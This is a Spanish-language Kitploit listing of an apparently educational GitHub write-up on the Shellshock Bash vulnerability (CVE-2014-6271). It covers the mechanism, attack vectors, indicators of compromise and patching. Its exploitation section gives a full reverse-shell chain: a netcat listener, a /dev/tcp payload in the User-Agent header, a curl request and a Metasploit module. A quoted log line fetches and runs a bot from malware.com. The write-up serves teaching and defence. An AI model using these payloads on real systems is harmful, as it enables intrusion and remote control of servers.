Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
-CVE-2014-6271 — Repositorio educativo que detalla la vulnerabilidad Shellshock (CVE-2014-6271), incluyendo análisis técnico, vectores de ataque, explotación de prueba de concepto y pasos de mitigación para la inyección de variables de entorno de Bash. | Kitploit
Herramientas/GitHubGitHub/kaleth4/-cve-2014-6271
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlAprendizaje y Educación
GitHubkaleth4/-cve-2014-6271

-CVE-2014-6271

Repositorio educativo que detalla la vulnerabilidad Shellshock (CVE-2014-6271), incluyendo análisis técnico, vectores de ataque, explotación de prueba de concepto y pasos de mitigación para la inyección de variables de entorno de Bash.

Ver Repositorio
hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
root@kitploit:~
 ____  _   _ _____ _     _     ____  _   _  ___   ____ _  __
/ ___|| | | | ____| |   | |   / ___|| | | |/ _ \ / ___| |/ /
\___ \| |_| |  _| | |   | |   \___ \| |_| | | | | |   | ' / 
 ___) |  _  | |___| |___| |___ ___) |  _  | |_| | |___| . \ 
|____/|_| |_|_____|_____|_____|____/|_| |_|\___/ \____|_|\_\

CVE-2014-6271 — Shellshock

Remote Code Execution via Bash Environment Variable Injection

CVE CVSS Type Bash Status

"Una falla que estuvo oculta en Bash durante décadas y sacudió los cimientos de internet en menos de 24 horas."


Índice

  • ¿Qué es Shellshock?
  • Línea de tiempo
  • Sistemas afectados
  • Descripción técnica
  • PoC — Prueba de Concepto
  • Vectores de ataque
  • Explotación completa
  • Indicadores de compromiso
  • Mitigación
  • Disclaimer

❓ ¿Qué es Shellshock?

Shellshock (también conocido como Bashdoor) es una familia de vulnerabilidades críticas en el intérprete de comandos GNU Bash que permite a un atacante remoto ejecutar comandos arbitrarios en el sistema objetivo.

El error fundamental: Bash no detenía el análisis de una variable de entorno al finalizar la definición de una función. Cualquier código concatenado después de () { :; }; era ejecutado automáticamente.

root@kitploit:~
Variable Env → Definición de función → [AQUÍ EJECUTA CÓDIGO EXTRA] ← BUG

Dado que servidores web (CGI/Apache), servicios SSH y clientes DHCP convierten headers o parámetros en variables de entorno de Bash, la superficie de ataque era masiva.


📅 Línea de Tiempo

root@kitploit:~
12 Sep 2014 ──── Stéphane Chazelas descubre el bug y lo reporta a Chet Ramey (mantenedor de Bash)
                 El bug existía en Bash desde hacía más de 20 años.

24 Sep 2014 ──── Divulgación pública + publicación del parche (CVE-2014-6271)
                 Horas después: botnets activas escaneando internet masivamente.

25-30 Sep 2014 ── Descubiertas vulnerabilidades relacionadas:
                 CVE-2014-6277, CVE-2014-6278, CVE-2014-7169,
                 CVE-2014-7186, CVE-2014-7187

Oct 2014 ──────── Millones de ataques registrados. Comparado en severidad con Heartbleed.

💻 Sistemas Afectados


🔬 Descripción Técnica

El mecanismo del bug

Cuando Bash importa una función desde una variable de entorno, lee hasta el cierre } de la función. En versiones vulnerables, continuaba procesando el código posterior en lugar de detenerse.

root@kitploit:~
# Variable de entorno maliciosa:
SHELLSHOCK='() { :; }; /bin/cat /etc/passwd'

# Bash vulnerable al inicializarse:
# 1. Lee la definición de función  → OK
# 2. Encuentra }; → debería parar
# 3. CONTINÚA → ejecuta /bin/cat /etc/passwd  ← BUG

Flujo del ataque vía CGI

root@kitploit:~
Atacante                    Servidor Apache (CGI)              Bash (vulnerable)
   │                               │                                │
   │  HTTP Request                 │                                │
   │  User-Agent: () { :;}; cmd    │                                │
   │──────────────────────────────▶│                                │
   │                               │  Convierte headers a env vars  │
   │                               │  HTTP_USER_AGENT=() { :;}; cmd │
   │                               │───────────────────────────────▶│
   │                               │                                │ Ejecuta cmd
   │                               │                                │ como www-data
   │◀──────────────────────────────│◀───────────────────────────────│
   │  Respuesta + output del cmd   │                                │

🧪 PoC — Prueba de Concepto

Verificación básica de vulnerabilidad

root@kitploit:~
env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"

Resultado en sistema VULNERABLE:

root@kitploit:~
VULNERABLE
this is a test

Resultado en sistema PARCHEADO:

root@kitploit:~
this is a test

(o un error de sintaxis — nunca imprime "VULNERABLE")


⚔️ Vectores de Ataque

1. CGI-BIN (más común)

Servidores web que usan scripts .cgi convierten los HTTP Headers en variables de entorno de Bash.

root@kitploit:~
Headers afectados: User-Agent, Referer, Cookie, X-Forwarded-For, y cualquier header custom

2. SSH con ForceCommand

root@kitploit:~
# Si el servidor tiene ForceCommand configurado, un atacante con clave válida puede bypassearlo
ssh user@target '() { :;}; /bin/bash'

3. Cliente DHCP

Servidores DHCP maliciosos pueden inyectar variables de entorno en clientes que usen Bash para procesar la respuesta DHCP.

4. Variables de entorno directas

root@kitploit:~
# Cualquier proceso que herede variables de entorno y ejecute Bash
env VAR='() { :;}; comando_malicioso' bash -c "script_legítimo"

💀 Explotación Completa: Reverse Shell

Paso 1: Listener en máquina atacante

root@kitploit:~
nc -lvnp 4444

Paso 2: Payload de reverse shell

root@kitploit:~
# Payload que se inyecta en el User-Agent
() { :;}; /bin/bash -i >& /dev/tcp/IP_ATACANTE/4444 0>&1

Paso 3: Enviar la request maliciosa

root@kitploit:~
curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/192.168.1.10/4444 0>&1" \
     http://sitio-vulnerable.com/cgi-bin/test.cgi

Paso 4: Shell obtenida

root@kitploit:~
Connection received from 10.10.10.50
bash: no job control in this shell
sh-4.1$ id
uid=48(apache) gid=48(apache) groups=48(apache)

Módulo Metasploit

root@kitploit:~
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS <target>
set TARGETURI /cgi-bin/test.cgi
set LHOST <your_ip>
run

🔍 Indicadores de Compromiso (IOC)

En logs de Apache/Nginx

root@kitploit:~
# Buscar el patrón característico en access.log
grep -E "\(\)\s*\{" /var/log/apache2/access.log

# Ejemplo de log malicioso:
# "() { :;}; wget http://malware.com/bot -O /tmp/x && chmod +x /tmp/x && /tmp/x"

Procesos sospechosos

root@kitploit:~
# Procesos hijos de www-data/apache que no deberían existir
ps aux | grep www-data | grep -v grep
netstat -antup | grep ESTABLISHED

Indicadores en el sistema

root@kitploit:~
- Nuevos archivos ejecutables en /tmp, /var/tmp, /dev/shm
- Conexiones salientes desde el servidor web a IPs desconocidas
- Modificación de /etc/crontab o /etc/passwd
- Procesos bash corriendo como www-data sin terminal

🛡️ Mitigación

Parche inmediato (PRIORIDAD CRÍTICA)

root@kitploit:~
# Debian / Ubuntu
sudo apt-get update && sudo apt-get install --only-upgrade bash

# RHEL / CentOS / Fedora
sudo yum update bash

# Verificar versión parcheada (debe mostrar "patches")
bash --version
# GNU bash, version 4.3.30(1)-release → VULNERABLE
# GNU bash, version 4.3.33(1)-release → PARCHEADO (varía por distro)

Verificación post-parche

root@kitploit:~
# Debe devolver solo "this is a test" — NUNCA "VULNERABLE"
env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"

Medidas adicionales

root@kitploit:~
# 1. Deshabilitar CGI si no es necesario
a2dismod cgi

# 2. Regla WAF para bloquear el patrón
# En ModSecurity:
SecRule REQUEST_HEADERS "@rx \(\)\s*\{" "id:1001,phase:1,deny,msg:'Shellshock Attempt'"

# 3. Monitoreo continuo de logs
tail -f /var/log/apache2/access.log | grep -E "\(\)\s*\{"

⚠️ Disclaimer

Este repositorio es exclusivamente para fines educativos, investigación en ciberseguridad y auditorías de seguridad autorizadas. Toda la información aquí presentada es de dominio público. Realizar pruebas contra sistemas sin autorización explícita es ilegal bajo las leyes de la mayoría de jurisdicciones. El autor no se hace responsable del uso indebido de esta información.


Descubierto por Stéphane Chazelas · Publicado el 24 de Septiembre de 2014

CVSS Score: 10.0 (Critical) → Posteriormente ajustado a 9.8 en CVSSv3

Descargar herramienta
ProductoVersiones VulnerablesEstado
GNU Bash1.0.3 – 4.3Parcheado
Linux (Debian/Ubuntu/CentOS/RHEL)Versiones pre-Sept 2014Parcheado
Apple macOS / OS X10.10 y anterioresParcheado (Security Update 2014-005)
Dispositivos IoT con Bash embebidoMúltiplesVaría según fabricante
Servidores web con CGI sobre ApacheCualquier versión con Bash vulnerableParcheado